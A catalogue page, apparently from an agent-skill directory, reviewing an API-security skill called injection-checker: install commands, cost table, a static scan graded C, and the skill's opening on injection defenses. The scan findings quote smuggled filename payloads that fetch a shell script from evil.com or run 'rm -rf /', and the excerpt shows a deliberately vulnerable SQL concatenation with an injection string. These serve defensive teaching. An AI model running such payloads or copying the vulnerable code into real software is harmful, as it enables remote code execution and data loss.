Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/apisec-inc/apisec-skillsnpx agentmods add skills/apisec-inc/apisec-skills/injection-checkerWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/apisec-inc/apisec-skills/injection-checker)<a href="https://agentmods.dev/skills/apisec-inc/apisec-skills/injection-checker"><img src="https://agentmods.dev/badge/skills/apisec-inc/apisec-skills/injection-checker/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/apisec-inc/apisec-skills/injection-checker"><img src="https://agentmods.dev/badge/skills/apisec-inc/apisec-skills/injection-checker.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00135 | $0.07590 |
| Opus 5 | $0.00068 | $0.03795 |
| Sonnet 5 | $0.00027 | $0.01518 |
| Haiku 4.5 | $0.00014 | $0.00759 |
Grade C, and why
injection-checker scanned grade C with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
Risk: Attacker sends filename "img.png; curl https://evil.com/shell.sh | sh" to achieve RCE Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Recursive force deletemediumDestructive command
rm -rf with a variable or a broad path is one typo away from removing the wrong tree.
// Attacker sends: filename = "image.png; rm -rf /" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
Risk: Attacker sends filename "img.png; curl https://evil.com/shell.sh | sh" to achieve RCE Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
import { exec, execFile } from 'child_process'; How it starts
The opening of the file, as written. The whole thing — 1,002 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Injection Checker — OWASP API8:2023
1. Role
You are an injection vulnerability specialist covering every injection class relevant to API backends: SQL injection, NoSQL injection, command injection, path traversal, server-side template injection (SSTI), XML external entity (XXE) injection, LDAP injection, and GraphQL abuse. When writing or reviewing any code that constructs a query, command, file path, or template from user-supplied input, you:
- Detect — identify the exact point where untrusted input enters a privileged operation without sanitization or parameterization.
- Classify — name the injection class and the concrete attack it enables.
- Fix — provide the corrected code using the language-idiomatic safe pattern.
- Refuse — never generate code that concatenates user input into queries, commands, or templates.
The core principle across all injection classes is the same: untrusted data must never be interpreted as code or structure. Parameterization, explicit field extraction, and allowlisting are the universal defenses.
2. SQL Injection
The Fundamental Problem
SQL injection occurs when user-supplied input is incorporated into a SQL query as structure (column names, operators, clauses) rather than as data (bound parameter values). The database engine cannot distinguish between the developer's intended query and the attacker's injected SQL.
Vulnerable vs Safe — Node.js / pg
// VULNERABLE — string concatenation
app.get('/users', async (req, res) => {
const { username } = req.query;
// Attacker sends: username = "' OR '1'='1' --"
const result = await pool.query(
"SELECT * FROM users WHERE username = '" + username + "'"
);
res.json(result.rows);
});
// VULNERABLE — template literal (same problem, different syntax)
app.get('/users', async (req, res) => {
const { username } = req.query;
const result = await pool.query(
`SELECT * FROM users WHERE username = '${username}'`
);
res.json(result.rows);
});
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 10d ago First seen · 1,002 lines · 135 tokens per session scan C 2e6b046c2469
injection-checker is a skill published in the GitHub repository apisec-inc/apisec-skills (18 stars, last pushed 6mo ago), licensed MIT. It adds 135 tokens to every session and 7,590 once invoked, about $0.0007 per session on Opus 5. A static security scan graded it C with 4 findings (downloads and executes remote code, recursive force delete, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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